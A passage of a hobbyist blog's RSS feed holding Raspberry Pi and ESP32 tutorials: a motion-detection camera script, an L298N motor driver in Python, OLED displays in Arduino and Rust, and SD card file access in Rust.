        config = picam2.create_preview_configuration(main={&#34;format&#34;: &#34;RGB888&#34;, &#34;size&#34;: (640, 480)})
        picam2.configure(config)
        picam2.start()
        time.sleep(2)
        print(&#34;[INFO] Raspberry Pi camera initialized.&#34;)
        return picam2, True
    except ImportError:
        cap = cv2.VideoCapture(0)
        if not cap.isOpened():
            raise Exception(&#34;[ERROR] Cannot open webcam.&#34;)
        time.sleep(2)
        print(&#34;[INFO] Webcam initialized.&#34;)
        return cap, False

# ==========================
#   Frame Capture
# ==========================
def capture_frame(camera, is_picam):
    if is_picam:
        return camera.capture_array()
    else:
        ret, frame = camera.read()
        if not ret:
            raise Exception(&#34;[ERROR] Failed to capture frame.&#34;)
        return frame

# ==========================
#   Frame Processing
# ==========================
def process_frame(current_frame, previous_frame, is_picam):
    # Apply Gaussian blur
    current_blurred = cv2.GaussianBlur(current_frame, BLUR_SIZE, 0)
    previous_blurred = cv2.GaussianBlur(previous_frame, BLUR_SIZE, 0)

    # Convert to grayscale
    if is_picam:
        gray_current = cv2.cvtColor(current_blurred, cv2.COLOR_RGB2GRAY)
        gray_previous = cv2.cvtColor(previous_blurred, cv2.COLOR_RGB2GRAY)
    else:
        gray_current = cv2.cvtColor(current_blurred, cv2.COLOR_BGR2GRAY)
        gray_previous = cv2.cvtColor(previous_blurred, cv2.COLOR_BGR2GRAY)

    # Compute difference and threshold
    diff = cv2.absdiff(gray_previous, gray_current)
    _, thresh = cv2.threshold(diff, THRESHOLD_SENSITIVITY, 255, cv2.THRESH_BINARY)
    thresh = cv2.dilate(thresh, None, iterations=2)

    return thresh

# ==========================
#   Movement Detection
# ==========================
def detect_movement(thresh):
    contours, _ = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)

    for contour in contours:
        if cv2.contourArea(contour) &gt;= MIN_CONTOUR_AREA:
            return True
    return False

# ==========================
#   Save Frame
# ==========================
def save_frame(frame, is_picam):
    now = datetime.now()
    timestamp = now.strftime(&#34;%Y-%m-%d_%H-%M-%S&#34;)
    filename = os.path.join(SAVE_DIR, f&#34;capture_{timestamp}.jpg&#34;)

    if is_picam:
        frame_to_save = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    else:
        frame_to_save = frame  # Already BGR

    cv2.imwrite(filename, frame_to_save)
    print(f&#34;[INFO] Image saved: {filename}&#34;)

# ==========================
#   Main Function
# ==========================
def main():
    os.makedirs(SAVE_DIR, exist_ok=True)

    camera, is_picam = initialize_camera()
    previous_frame = capture_frame(camera, is_picam)

    print(&#34;[INFO] Surveillance started... (Press Ctrl+C to exit)&#34;)

    try:
        while True:
            current_frame = capture_frame(camera, is_picam)
            thresh = process_frame(current_frame, previous_frame, is_picam)

            if detect_movement(thresh):
                print(f&#34;[{datetime.now().strftime(&#39;%Y-%m-%d %H:%M:%S&#39;)}] Movement detected!&#34;)
                save_frame(current_frame, is_picam)

            previous_frame = current_frame.copy()
            time.sleep(FRAME_WAIT_TIME)

    except KeyboardInterrupt:
        print(&#34;\n[INFO] Surveillance stopped by the user.&#34;)

    finally:
        if is_picam:
            camera.stop()
        else:
            camera.release()

# ==========================
#   Entry Point
# ==========================
if __name__ == &#34;__main__&#34;:
    main()
</code></pre><br/>
<ul>
<li><code>BLUR_SIZE</code>: larger → less sensitive (e.g., (7,7) or (9,9))</li>
<li><code>THRESHOLD_SENSITIVITY</code>: higher → less sensitive (e.g., 60, 70)</li>
<li><code>MIN_CONTOUR_AREA</code>: higher → only detects larger movements</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>H-Bridge L298N with Raspberry Pi and Python</title>
            <link>https://leandeep.com/h-bridge-l298n-with-raspberry-pi-and-python/</link>
            <pubDate>Mon, 28 Apr 2025 21:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/h-bridge-l298n-with-raspberry-pi-and-python/</guid>
            <description>&lt;p&gt;In the article we are going to see how to control a H-bridge L298N connected to a Raspberry Pi using Python.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Connect the bridge L298N to the raspberry pi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/rsapberry-3b-gpio.svg&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;ul&gt;
&lt;li&gt;Connect the pin IN1 of the L298N to GPIO7 (pin 26) of the Raspberry Pi (so GPIO4).&lt;/li&gt;
&lt;li&gt;Connect the pin IN2 of the L298N to GPIO8 (pin 24) of the Raspberry Pi.&lt;/li&gt;
&lt;li&gt;Connect the pin ENA of the L298N to GPIO25 (pin 22) of the Raspberry Pi.&lt;/li&gt;
&lt;li&gt;Connect the pin VCC of the L298N to the pin 2 of the Raspberry Pi.&lt;/li&gt;
&lt;li&gt;Connect the pin GND of the L298N to the pin 6 of the Raspberry Pi.&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Install dependency&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In the article we are going to see how to control a H-bridge L298N connected to a Raspberry Pi using Python.</p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<p><strong>Connect the bridge L298N to the raspberry pi</strong></p>
<p><img src="/images/rsapberry-3b-gpio.svg" alt="image"></p>
<br/>
<ul>
<li>Connect the pin IN1 of the L298N to GPIO7 (pin 26) of the Raspberry Pi (so GPIO4).</li>
<li>Connect the pin IN2 of the L298N to GPIO8 (pin 24) of the Raspberry Pi.</li>
<li>Connect the pin ENA of the L298N to GPIO25 (pin 22) of the Raspberry Pi.</li>
<li>Connect the pin VCC of the L298N to the pin 2 of the Raspberry Pi.</li>
<li>Connect the pin GND of the L298N to the pin 6 of the Raspberry Pi.</li>
</ul>
<br/>
<p><strong>Install dependency</strong></p>
<pre tabindex="0"><code>sudo apt-get install python3-rpi.gpio
</code></pre><br/>
<h2 id="code">Code</h2>
<pre tabindex="0"><code>import RPi.GPIO as GPIO
import time

# Connect Pi GPIO to L298N
IN1 = 7 
IN2 = 8
ENA = 25  # To control the speed

GPIO.setmode(GPIO.BCM)
GPIO.setup(IN1, GPIO.OUT)
GPIO.setup(IN2, GPIO.OUT)
GPIO.setup(ENA, GPIO.OUT)

pwm = GPIO.PWM(ENA, 1000)  # 1 kHz
pwm.start(100)  # 100% of the speed

try:
    while True:
        GPIO.output(IN1, GPIO.HIGH)
        GPIO.output(IN2, GPIO.LOW)
        print(&#34;Extension...&#34;)
        time.sleep(5)  # Wait 5s

        GPIO.output(IN1, GPIO.LOW)
        GPIO.output(IN2, GPIO.LOW)
        print(&#34;Stop&#34;)
        time.sleep(2)

        GPIO.output(IN1, GPIO.LOW)
        GPIO.output(IN2, GPIO.HIGH)
        print(&#34;Contraction...&#34;)
        time.sleep(5)

        GPIO.output(IN1, GPIO.LOW)
        GPIO.output(IN2, GPIO.LOW)
        print(&#34;Stop&#34;)
        time.sleep(2)

except KeyboardInterrupt:
    pass

# Nettoyage des broches GPIO
pwm.stop()
GPIO.cleanup()
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Use an Oled display on ESP32 using Arduino</title>
            <link>https://leandeep.com/use-an-oled-display-on-esp32-using-arduino/</link>
            <pubDate>Thu, 17 Apr 2025 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/use-an-oled-display-on-esp32-using-arduino/</guid>
            <description>&lt;p&gt;In this article we are going to see how to connect and display some content on an Oled display connected via I2C on an ESP-Wroom-32. The code is written in Arduino code.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Install Arduino libraries:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Adafruit SSD1306&lt;/li&gt;
&lt;li&gt;Adafruit GFX Library&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;Connect the Oled display to the ESP32 board:&lt;/p&gt;
&lt;p&gt;Voici le branchement I2C entre ton ESP32 et l’écran :&lt;/p&gt;
&lt;p&gt;It is an OLED (NFP1315-61AY)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connect VCC to 3.3V&lt;/li&gt;
&lt;li&gt;Of course connect GND to GND&lt;/li&gt;
&lt;li&gt;Connect SCL to GPIO22&lt;/li&gt;
&lt;li&gt;Connect SDA to GPIO21&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#include &amp;lt;Wire.h&amp;gt;
#include &amp;lt;Adafruit_GFX.h&amp;gt;
#include &amp;lt;Adafruit_SSD1306.h&amp;gt;

#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64

// default I2C Adress is often 0x3C
#define OLED_ADDR 0x3C

Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &amp;amp;Wire, -1);

void setup() {
  Wire.begin(21, 22); // SDA, SCL
  display.begin(SSD1306_SWITCHCAPVCC, OLED_ADDR);
  display.clearDisplay();

  display.setTextSize(1);
  display.setTextColor(SSD1306_WHITE);
  display.setCursor(0,0);
  display.println(&amp;#34;Hello Olivier!&amp;#34;);
  display.display();
}

void loop() {
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;troubleshooting&#34;&gt;Troubleshooting&lt;/h2&gt;
&lt;p&gt;To find the Oled display address:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to connect and display some content on an Oled display connected via I2C on an ESP-Wroom-32. The code is written in Arduino code.</p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<p>Install Arduino libraries:</p>
<ul>
<li>Adafruit SSD1306</li>
<li>Adafruit GFX Library</li>
</ul>
<br/>
<p>Connect the Oled display to the ESP32 board:</p>
<p>Voici le branchement I2C entre ton ESP32 et l’écran :</p>
<p>It is an OLED (NFP1315-61AY)</p>
<ul>
<li>Connect VCC to 3.3V</li>
<li>Of course connect GND to GND</li>
<li>Connect SCL to GPIO22</li>
<li>Connect SDA to GPIO21</li>
</ul>
<br/>
<h2 id="code">Code</h2>
<pre tabindex="0"><code>#include &lt;Wire.h&gt;
#include &lt;Adafruit_GFX.h&gt;
#include &lt;Adafruit_SSD1306.h&gt;

#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64

// default I2C Adress is often 0x3C
#define OLED_ADDR 0x3C

Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &amp;Wire, -1);

void setup() {
  Wire.begin(21, 22); // SDA, SCL
  display.begin(SSD1306_SWITCHCAPVCC, OLED_ADDR);
  display.clearDisplay();

  display.setTextSize(1);
  display.setTextColor(SSD1306_WHITE);
  display.setCursor(0,0);
  display.println(&#34;Hello Olivier!&#34;);
  display.display();
}

void loop() {
}
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p>To find the Oled display address:</p>
<pre tabindex="0"><code>#include &lt;Wire.h&gt;

void setup() {
  Wire.begin();
  Serial.begin(115200);
  while (!Serial);
  Serial.println(&#34;\nI2C Scanner&#34;);
  for (uint8_t i = 1; i &lt; 127; ++i) {
    Wire.beginTransmission(i);
    if (Wire.endTransmission() == 0) {
      Serial.print(&#34;I2C device found at 0x&#34;);
      Serial.println(i, HEX);
      delay(10);
    }
  }
  Serial.println(&#34;Done.&#34;);
}

void loop() {}
</code></pre><br/>
<p>In a next article we are going to see how to do the same in Rust.</p>
]]></content>
        </item>
        
        <item>
            <title>Use an Oled display on ESP32 using Rust</title>
            <link>https://leandeep.com/use-an-oled-display-on-esp32-using-rust/</link>
            <pubDate>Thu, 17 Apr 2025 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/use-an-oled-display-on-esp32-using-rust/</guid>
            <description>&lt;p&gt;In this article we are going to see how to connect and display some content on an Oled display connected via I2C on an ESP-Wroom-32. The code is written in Rust.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Connect the Oled display to the ESP32 board:&lt;/p&gt;
&lt;p&gt;Voici le branchement I2C entre ton ESP32 et l’écran :&lt;/p&gt;
&lt;p&gt;It is an OLED (NFP1315-61AY)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connect VCC to 3.3V&lt;/li&gt;
&lt;li&gt;Of course connect GND to GND&lt;/li&gt;
&lt;li&gt;Connect SCL to GPIO22&lt;/li&gt;
&lt;li&gt;Connect SDA to GPIO21&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;dependencies&#34;&gt;Dependencies&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[dependencies]
log = &amp;#34;0.4&amp;#34;
anyhow = &amp;#34;1.0&amp;#34;
esp-idf-hal = &amp;#34;0.45.2&amp;#34;
esp-idf-svc = { version = &amp;#34;0.51&amp;#34;, features = [&amp;#34;critical-section&amp;#34;, &amp;#34;embassy-time-driver&amp;#34;, &amp;#34;embassy-sync&amp;#34;] }

embedded-hal = &amp;#34;1.0.0&amp;#34;
embedded-graphics = &amp;#34;0.8.1&amp;#34;
ssd1306 = &amp;#34;0.10.0&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use anyhow::anyhow;
use esp_idf_hal::i2c::{I2cConfig, I2cDriver};
use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::prelude::*;
use std::{thread, time::Duration}; // for .kHz()

use embedded_graphics::{
    mono_font::{ascii::FONT_6X10, MonoTextStyle},
    pixelcolor::BinaryColor,
    prelude::*,
    text::Text,
};

use ssd1306::{prelude::*, I2CDisplayInterface, Ssd1306};

fn main() -&amp;gt; anyhow::Result&amp;lt;()&amp;gt; {
    let peripherals = Peripherals::take().unwrap();
    let i2c = peripherals.i2c0;
    let sda = peripherals.pins.gpio21;
    let scl = peripherals.pins.gpio22;

    let config = I2cConfig::new().baudrate(400u32.kHz().into());
    let i2c_driver =
        I2cDriver::new(i2c, sda, scl, &amp;amp;config).map_err(|e| anyhow!(&amp;#34;I2C init error: {:?}&amp;#34;, e))?;

    let interface = I2CDisplayInterface::new(i2c_driver);
    let mut display = Ssd1306::new(interface, DisplaySize128x64, DisplayRotation::Rotate0)
        .into_buffered_graphics_mode();

    display
        .init()
        .map_err(|e| anyhow!(&amp;#34;Display init error: {:?}&amp;#34;, e))?;
    display
        .flush()
        .map_err(|e| anyhow!(&amp;#34;Flush error: {:?}&amp;#34;, e))?;

    let style = MonoTextStyle::new(&amp;amp;FONT_6X10, BinaryColor::On);
    Text::new(&amp;#34;Hello Olivier !!!&amp;#34;, Point::new(10, 32), style)
        .draw(&amp;amp;mut display)
        .map_err(|e| anyhow!(&amp;#34;Draw error: {:?}&amp;#34;, e))?;

    display
        .flush()
        .map_err(|e| anyhow!(&amp;#34;Final flush error: {:?}&amp;#34;, e))?;

    loop {
        thread::sleep(Duration::from_millis(1000));
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;build&#34;&gt;Build&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/oled --monitor
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to connect and display some content on an Oled display connected via I2C on an ESP-Wroom-32. The code is written in Rust.</p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<p>Connect the Oled display to the ESP32 board:</p>
<p>Voici le branchement I2C entre ton ESP32 et l’écran :</p>
<p>It is an OLED (NFP1315-61AY)</p>
<ul>
<li>Connect VCC to 3.3V</li>
<li>Of course connect GND to GND</li>
<li>Connect SCL to GPIO22</li>
<li>Connect SDA to GPIO21</li>
</ul>
<br/>
<h2 id="dependencies">Dependencies</h2>
<pre tabindex="0"><code>[dependencies]
log = &#34;0.4&#34;
anyhow = &#34;1.0&#34;
esp-idf-hal = &#34;0.45.2&#34;
esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }

embedded-hal = &#34;1.0.0&#34;
embedded-graphics = &#34;0.8.1&#34;
ssd1306 = &#34;0.10.0&#34;
</code></pre><br/>
<h2 id="code">Code</h2>
<pre tabindex="0"><code>use anyhow::anyhow;
use esp_idf_hal::i2c::{I2cConfig, I2cDriver};
use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::prelude::*;
use std::{thread, time::Duration}; // for .kHz()

use embedded_graphics::{
    mono_font::{ascii::FONT_6X10, MonoTextStyle},
    pixelcolor::BinaryColor,
    prelude::*,
    text::Text,
};

use ssd1306::{prelude::*, I2CDisplayInterface, Ssd1306};

fn main() -&gt; anyhow::Result&lt;()&gt; {
    let peripherals = Peripherals::take().unwrap();
    let i2c = peripherals.i2c0;
    let sda = peripherals.pins.gpio21;
    let scl = peripherals.pins.gpio22;

    let config = I2cConfig::new().baudrate(400u32.kHz().into());
    let i2c_driver =
        I2cDriver::new(i2c, sda, scl, &amp;config).map_err(|e| anyhow!(&#34;I2C init error: {:?}&#34;, e))?;

    let interface = I2CDisplayInterface::new(i2c_driver);
    let mut display = Ssd1306::new(interface, DisplaySize128x64, DisplayRotation::Rotate0)
        .into_buffered_graphics_mode();

    display
        .init()
        .map_err(|e| anyhow!(&#34;Display init error: {:?}&#34;, e))?;
    display
        .flush()
        .map_err(|e| anyhow!(&#34;Flush error: {:?}&#34;, e))?;

    let style = MonoTextStyle::new(&amp;FONT_6X10, BinaryColor::On);
    Text::new(&#34;Hello Olivier !!!&#34;, Point::new(10, 32), style)
        .draw(&amp;mut display)
        .map_err(|e| anyhow!(&#34;Draw error: {:?}&#34;, e))?;

    display
        .flush()
        .map_err(|e| anyhow!(&#34;Final flush error: {:?}&#34;, e))?;

    loop {
        thread::sleep(Duration::from_millis(1000));
    }
}
</code></pre><br/>
<h2 id="build">Build</h2>
<pre tabindex="0"><code># cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/oled --monitor
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Read and write file in sdcard from ESP32 and Rust</title>
            <link>https://leandeep.com/read-and-write-file-in-sdcard-from-esp32-and-rust/</link>
            <pubDate>Sun, 13 Apr 2025 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/read-and-write-file-in-sdcard-from-esp32-and-rust/</guid>
            <description>&lt;p&gt;In this article we are going to see how to read a file from a SD Card in Rust using the SPI port of the ESP32.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cargo install esp-generate@0.3.1
esp-generate --chip esp32 sd
source ~/export-esp.sh
cargo build
# espflash flash target/xtensa-esp32-none-elf/debug/sd --monitor
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;dependencies&#34;&gt;Dependencies&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[dependencies]
critical-section = &amp;#34;1.2.0&amp;#34;
embassy-executor = { version = &amp;#34;0.7.0&amp;#34;, features = [&amp;#34;task-arena-size-20480&amp;#34;] }
embassy-time     = { version = &amp;#34;0.4.0&amp;#34;, features = [&amp;#34;generic-queue-8&amp;#34;] }
esp-hal          = { version = &amp;#34;1.0.0-beta.0&amp;#34;, features = [&amp;#34;esp32&amp;#34;, &amp;#34;unstable&amp;#34;] }
esp-hal-embassy  = { version = &amp;#34;0.7.0&amp;#34;, features = [&amp;#34;esp32&amp;#34;] }
static_cell      = { version = &amp;#34;2.1.0&amp;#34;, features = [&amp;#34;nightly&amp;#34;] }
# sd card driver
embedded-sdmmc = &amp;#34;0.8.1&amp;#34;
# To convert Spi bus to SpiDevice
embedded-hal-bus = &amp;#34;0.3.0&amp;#34;
## For time parsing
chrono = { version = &amp;#34;0.4.40&amp;#34;, default-features = false }
esp-println = { version = &amp;#34;0.12.0&amp;#34;, features = [&amp;#34;esp32&amp;#34;, &amp;#34;log&amp;#34;] }
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;//cargo install esp-generate@0.3.1
//esp-generate --chip esp32 sd
//source ~/export-esp.sh
//cargo build
//espflash flash target/xtensa-esp32-none-elf/debug/sd --monitor

#![no_std]
#![no_main]

use embassy_executor::Spawner;
use embassy_time::{Delay, Duration, Timer};
use embedded_hal_bus::spi::ExclusiveDevice;
use embedded_sdmmc::{SdCard, TimeSource, Timestamp, VolumeIdx, VolumeManager};
use esp_hal::clock::CpuClock;
use esp_hal::gpio::{Level, Output, OutputConfig};
use esp_hal::spi;
use esp_hal::spi::master::Spi;
use esp_hal::time::Rate;
use esp_hal::timer::timg::TimerGroup;
use esp_println::{self as _, print, println};

#[panic_handler]
fn panic(_: &amp;amp;core::panic::PanicInfo) -&amp;gt; ! {
    loop {}
}

/// Code from https://github.com/rp-rs/rp-hal-boards/blob/main/boards/rp-pico/examples/pico_spi_sd_card.rs
/// A dummy timesource, which is mostly important for creating files.
#[derive(Default)]
pub struct DummyTimesource();

impl TimeSource for DummyTimesource {
    // In theory you could use the RTC of the rp2040 here, if you had
    // any external time synchronizing device.
    fn get_timestamp(&amp;amp;self) -&amp;gt; Timestamp {
        Timestamp {
            year_since_1970: 0,
            zero_indexed_month: 0,
            zero_indexed_day: 0,
            hours: 0,
            minutes: 0,
            seconds: 0,
        }
    }
}

#[esp_hal_embassy::main]
async fn main(_spawner: Spawner) {
    let config = esp_hal::Config::default().with_cpu_clock(CpuClock::max());
    let peripherals = esp_hal::init(config);

    let timer0 = TimerGroup::new(peripherals.TIMG1);
    esp_hal_embassy::init(timer0.timer0);

    println!(&amp;#34;Embassy initialized!&amp;#34;);

    let spi_bus = Spi::new(
        peripherals.SPI2,
        spi::master::Config::default()
            .with_frequency(Rate::from_khz(400))
            .with_mode(spi::Mode::_0),
    )
    .unwrap()
    .with_sck(peripherals.GPIO18)
    .with_mosi(peripherals.GPIO23)
    .with_miso(peripherals.GPIO19)
    .into_async();
    let sd_cs = Output::new(peripherals.GPIO5, Level::High, OutputConfig::default());
    let spi_dev = ExclusiveDevice::new(spi_bus, sd_cs, Delay).unwrap();

    let sdcard = SdCard::new(spi_dev, Delay);
    let mut volume_mgr = VolumeManager::new(sdcard, DummyTimesource::default());

    println!(&amp;#34;Init SD card controller and retrieve card size...&amp;#34;);
    let sd_size = volume_mgr.device().num_bytes().unwrap();
    println!(&amp;#34;SD card size is {} bytes\r\n&amp;#34;, sd_size);

    let mut volume0 = volume_mgr.open_volume(VolumeIdx(0)).unwrap();
    let mut root_dir = volume0.open_root_dir().unwrap();
    {
        let mut my_file = root_dir
            .open_file_in_dir(
                &amp;#34;example.txt&amp;#34;,
                embedded_sdmmc::Mode::ReadWriteCreateOrTruncate,
            )
            .unwrap();

        let line = &amp;#34;Hello Rust!&amp;#34;;
        if let Ok(()) = my_file.write(line.as_bytes()) {
            my_file.flush().unwrap();
            println!(&amp;#34;Written Data&amp;#34;);
        } else {
            println!(&amp;#34;Not written&amp;#34;);
        }
    }
    {
        let mut my_file = root_dir
            .open_file_in_dir(&amp;#34;example.txt&amp;#34;, embedded_sdmmc::Mode::ReadOnly)
            .unwrap();

        while !my_file.is_eof() {
            let mut buffer = [0u8; 32];

            if let Ok(n) = my_file.read(&amp;amp;mut buffer) {
                for b in &amp;amp;buffer[..n] {
                    print!(&amp;#34;{}&amp;#34;, *b as char);
                }
            }
        }
    }

    loop {
        Timer::after(Duration::from_secs(30)).await;
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to read a file from a SD Card in Rust using the SPI port of the ESP32.</p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<pre tabindex="0"><code>cargo install esp-generate@0.3.1
esp-generate --chip esp32 sd
source ~/export-esp.sh
cargo build
# espflash flash target/xtensa-esp32-none-elf/debug/sd --monitor
</code></pre><br/>
<h2 id="dependencies">Dependencies</h2>
<pre tabindex="0"><code>[dependencies]
critical-section = &#34;1.2.0&#34;
embassy-executor = { version = &#34;0.7.0&#34;, features = [&#34;task-arena-size-20480&#34;] }
embassy-time     = { version = &#34;0.4.0&#34;, features = [&#34;generic-queue-8&#34;] }
esp-hal          = { version = &#34;1.0.0-beta.0&#34;, features = [&#34;esp32&#34;, &#34;unstable&#34;] }
esp-hal-embassy  = { version = &#34;0.7.0&#34;, features = [&#34;esp32&#34;] }
static_cell      = { version = &#34;2.1.0&#34;, features = [&#34;nightly&#34;] }
# sd card driver
embedded-sdmmc = &#34;0.8.1&#34;
# To convert Spi bus to SpiDevice
embedded-hal-bus = &#34;0.3.0&#34;
## For time parsing
chrono = { version = &#34;0.4.40&#34;, default-features = false }
esp-println = { version = &#34;0.12.0&#34;, features = [&#34;esp32&#34;, &#34;log&#34;] }
</code></pre><br/>
<h2 id="code">Code</h2>
<pre tabindex="0"><code>//cargo install esp-generate@0.3.1
//esp-generate --chip esp32 sd
//source ~/export-esp.sh
//cargo build
//espflash flash target/xtensa-esp32-none-elf/debug/sd --monitor

#![no_std]
#![no_main]

use embassy_executor::Spawner;
use embassy_time::{Delay, Duration, Timer};
use embedded_hal_bus::spi::ExclusiveDevice;
use embedded_sdmmc::{SdCard, TimeSource, Timestamp, VolumeIdx, VolumeManager};
use esp_hal::clock::CpuClock;
use esp_hal::gpio::{Level, Output, OutputConfig};
use esp_hal::spi;
use esp_hal::spi::master::Spi;
use esp_hal::time::Rate;
use esp_hal::timer::timg::TimerGroup;
use esp_println::{self as _, print, println};

#[panic_handler]
fn panic(_: &amp;core::panic::PanicInfo) -&gt; ! {
    loop {}
}

/// Code from https://github.com/rp-rs/rp-hal-boards/blob/main/boards/rp-pico/examples/pico_spi_sd_card.rs
/// A dummy timesource, which is mostly important for creating files.
#[derive(Default)]
pub struct DummyTimesource();

impl TimeSource for DummyTimesource {
    // In theory you could use the RTC of the rp2040 here, if you had
    // any external time synchronizing device.
    fn get_timestamp(&amp;self) -&gt; Timestamp {
        Timestamp {
            year_since_1970: 0,
            zero_indexed_month: 0,
            zero_indexed_day: 0,
            hours: 0,
            minutes: 0,
            seconds: 0,
        }
    }
}

#[esp_hal_embassy::main]
async fn main(_spawner: Spawner) {
    let config = esp_hal::Config::default().with_cpu_clock(CpuClock::max());
    let peripherals = esp_hal::init(config);

    let timer0 = TimerGroup::new(peripherals.TIMG1);
    esp_hal_embassy::init(timer0.timer0);

    println!(&#34;Embassy initialized!&#34;);

    let spi_bus = Spi::new(
        peripherals.SPI2,
        spi::master::Config::default()
            .with_frequency(Rate::from_khz(400))
            .with_mode(spi::Mode::_0),
    )
    .unwrap()
    .with_sck(peripherals.GPIO18)
    .with_mosi(peripherals.GPIO23)
    .with_miso(peripherals.GPIO19)
    .into_async();
    let sd_cs = Output::new(peripherals.GPIO5, Level::High, OutputConfig::default());
    let spi_dev = ExclusiveDevice::new(spi_bus, sd_cs, Delay).unwrap();

    let sdcard = SdCard::new(spi_dev, Delay);
    let mut volume_mgr = VolumeManager::new(sdcard, DummyTimesource::default());

    println!(&#34;Init SD card controller and retrieve card size...&#34;);
    let sd_size = volume_mgr.device().num_bytes().unwrap();
    println!(&#34;SD card size is {} bytes\r\n&#34;, sd_size);

    let mut volume0 = volume_mgr.open_volume(VolumeIdx(0)).unwrap();
    let mut root_dir = volume0.open_root_dir().unwrap();
    {
        let mut my_file = root_dir
            .open_file_in_dir(
                &#34;example.txt&#34;,
                embedded_sdmmc::Mode::ReadWriteCreateOrTruncate,
            )
            .unwrap();

        let line = &#34;Hello Rust!&#34;;
        if let Ok(()) = my_file.write(line.as_bytes()) {
            my_file.flush().unwrap();
            println!(&#34;Written Data&#34;);
        } else {
            println!(&#34;Not written&#34;);
        }
    }
    {
        let mut my_file = root_dir
            .open_file_in_dir(&#34;example.txt&#34;, embedded_sdmmc::Mode::ReadOnly)
            .unwrap();

        while !my_file.is_eof() {
            let mut buffer = [0u8; 32];

            if let Ok(n) = my_file.read(&amp;mut buffer) {
                for b in &amp;buffer[..n] {
                    print!(&#34;{}&#34;, *b as char);
                }
            }
        }
    }

    loop {
        Timer::after(Duration::from_secs(30)).await;
    }
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Add a MicroSD card adapter on a ESP32 (Arduino code and OSX)</title>
            <link>https://leandeep.com/add-a-microsd-card-adapter-on-a-esp32-arduino-code-and-osx/</link>
            <pubDate>Fri, 11 Apr 2025 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/add-a-microsd-card-adapter-on-a-esp32-arduino-code-and-osx/</guid>
            <description>&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Arduino IDE installed&lt;/li&gt;
